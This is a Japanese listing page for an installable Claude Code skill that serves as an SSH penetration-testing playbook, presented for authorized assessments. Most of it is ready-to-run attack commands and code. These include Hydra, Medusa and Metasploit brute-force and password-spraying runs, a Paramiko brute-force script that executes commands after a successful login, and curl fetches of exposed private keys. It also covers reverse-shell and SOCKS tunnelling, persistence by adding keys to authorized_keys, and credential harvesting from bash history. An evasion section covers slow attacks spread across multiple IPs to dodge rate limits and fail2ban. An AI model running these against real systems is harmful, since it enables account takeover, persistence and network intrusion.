mcpField
S
SSH Penetration Testing

SSH Penetration Testing

github.com/davila7セキュリティ33.0k212 回インストール1 日前に更新
リポジトリ

SSH Penetration Testing について

許可を得た SSH セキュリティ評価を行うテスター向けのスキルです。サービス列挙、認証確認、脆弱性調査、トンネリング、侵入後の手順を、ツールやコマンド例とともにまとめています。

主な機能

  1. 01SSH サービスの検出と列挙
  2. 02設定と既知の脆弱性の監査
  3. 03パスワード認証と鍵認証の評価
  4. 04ポート転送と踏み台のテスト
  5. 05侵入後の確認事項の記録

活用シーン

  1. 01対象ネットワークの SSH サービスを把握
  2. 02SSH のアルゴリズムや設定の弱点を確認
  3. 03許可された範囲で認証情報の安全性を評価
  4. 04SSH トンネル経由で内部サービスに接続

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill ssh-penetration-testing

インストール後、Claude Code で/ssh-penetration-testingを入力して読み込まれたか確認します。

詳細

SSH ペネトレーションテスト

目的

列挙、認証情報攻撃、脆弱性の悪用、トンネリング技術、ポストエクスプロイテーションを含む、包括的な SSH セキュリティ評価を実施します。このスキルは、SSH サービスのセキュリティをテストするための完全な手法を扱います。

前提条件

必要なツール
  • SSH スクリプトを含む Nmap
  • ブルートフォース用の Hydra または Medusa
  • 設定分析用の ssh-audit
  • Metasploit Framework
  • Paramiko ライブラリを含む Python
必要な知識
  • SSH プロトコルの基礎
  • 公開鍵/秘密鍵認証
  • ポートフォワーディングの概念
  • Linux コマンドラインの習熟

成果物

  1. SSH 列挙レポート - バージョン、アルゴリズム、設定
  2. 認証情報の評価 - 脆弱なパスワード、デフォルトの認証情報
  3. 脆弱性の評価 - 既知の CVE、設定ミス
  4. トンネルのドキュメント - ポートフォワーディングの設定

中核ワークフロー

フェーズ 1: SSH サービスの検出

ターゲットネットワーク上の SSH サービスを特定します:

# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100
フェーズ 2: SSH 列挙

SSH サービスに関する詳細な情報を収集します:

# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
フェーズ 3: SSH 設定の監査

脆弱な設定を特定します:

# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions

特定すべき主な設定上の弱点:

  • 脆弱な鍵交換アルゴリズム(diffie-hellman-group1-sha1)
  • 脆弱な暗号(arcfour、3des-cbc)
  • 脆弱な MAC(hmac-md5、hmac-sha1-96)
  • 非推奨のプロトコルバージョン
フェーズ 4: 認証情報攻撃
Hydra によるブルートフォース
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
Medusa によるブルートフォース
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
パスワードスプレー
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
フェーズ 5: 鍵ベース認証のテスト

脆弱な鍵または公開された鍵をテストします:

# Attempt login with found private key
ssh -i id_rsa [email protected]

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa [email protected]

# Force password authentication
ssh -o PreferredAuthentications=password [email protected]

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" [email protected]
done

公開された鍵がないか確認します:

# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
フェーズ 6: 脆弱性の悪用

既知の脆弱性を検索します:

# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
フェーズ 7: SSH トンネリングとポートフォワーディング
ローカルポートフォワーディング

ローカルのポートをリモートのサービスへ転送します:

# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 [email protected]
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 [email protected]

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 [email protected]
リモートポートフォワーディング

ローカルのサービスをリモートのネットワークに公開します:

# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server

# Expose local web server to remote
ssh -R 8080:localhost:80 [email protected]
# Remote can access via localhost:8080

# Reverse shell callback
ssh -R 4444:localhost:4444 [email protected]
ダイナミックポートフォワーディング(SOCKS プロキシ)

ネットワークピボッティング用の SOCKS プロキシを作成します:

# Create SOCKS proxy on local port 1080
ssh -D 1080 [email protected]

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# Browser configuration
# Set SOCKS proxy to localhost:1080
ProxyJump(踏み台ホスト)

複数の SSH サーバーを経由して接続します:

# Jump through intermediate host
ssh -J user1@jump_host user2@target_host

# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target

# With SSH config
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump [email protected]
フェーズ 8: ポストエクスプロイテーション

SSH アクセスを取得した後の活動:

# Check sudo privileges
sudo -l

# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# Extract SSH configuration
cat /etc/ssh/sshd_config

# Find other users
cat /etc/passwd | grep -v nologin
ls /home/

# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
フェーズ 9: Paramiko によるカスタム SSH スクリプト

Python による SSH 自動化:

#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """Attempt SSH connection with credentials"""
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        client.connect(host, username=username, password=password, timeout=5)
        print(f"[+] Success: {username}:{password}")
        return client
    except paramiko.AuthenticationException:
        print(f"[-] Failed: {username}:{password}")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def execute_command(client, command):
    """Execute command via SSH"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """Brute-force SSH with wordlist"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()
    
    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # Run post-exploitation commands
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# Usage
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"
    
    # Single credential test
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()
フェーズ 10: Metasploit の SSH モジュール

Metasploit を使用して包括的な SSH テストを行います:

# Start Metasploit
msfconsole

# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# Post-exploitation with SSH session
sessions -i 1

クイックリファレンス

SSH 列挙コマンド
コマンド目的
nc <host> 22バナー取得
ssh-audit <host>設定監査
nmap --script ssh*SSH NSE スクリプト
searchsploit opensshエクスプロイトの検索
ブルートフォースのオプション
ツールコマンド
Hydrahydra -l user -P pass.txt ssh://host
Medusamedusa -h host -u user -P pass.txt -M ssh
Ncrackncrack -p 22 --user admin -P pass.txt host
Metasploituse auxiliary/scanner/ssh/ssh_login
ポートフォワーディングの種類
種類コマンド用途
ローカル-L 8080:target:80リモートのサービスにローカルからアクセス
リモート-R 8080:localhost:80ローカルのサービスをリモートに公開
ダイナミック-D 1080ピボッティング用の SOCKS プロキシ
一般的な SSH ポート
ポート説明
22既定の SSH
2222よく使われる代替ポート
22222その他の代替ポート
830SSH 上の NETCONF

制約と限界

法的な考慮事項
  • 必ず書面による許可を取得してください
  • ブルートフォースはサービス利用規約に違反する可能性があります
  • すべてのテスト活動を文書化してください
技術的な制約
  • レート制限により攻撃がブロックされる場合があります
  • Fail2ban などにより IP が BAN される場合があります
  • 鍵ベース認証はパスワード攻撃を防止します
  • 二要素認証は攻撃の難易度を高めます
回避テクニック
  • 低速なブルートフォースを使用します: -t 1 -w 5
  • 攻撃を複数の IP に分散させます
  • タイミングベースの列挙は慎重に使用します
  • ロックアウトのしきい値を遵守します

トラブルシューティング

問題解決策
接続が拒否されるSSH が実行中か確認する。ファイアウォールを確認する。ポートを確認する。別の IP アドレスからテストする
認証の失敗ユーザー名を確認する。パスワードポリシーを確認する。鍵のパーミッション(600)を確認する。authorized_keys の形式を確認する
トンネルが動作しないsshd_config の GatewayPorts/AllowTcpForwarding を確認する。ファイアウォールを確認する。ssh -v を使用する

コメント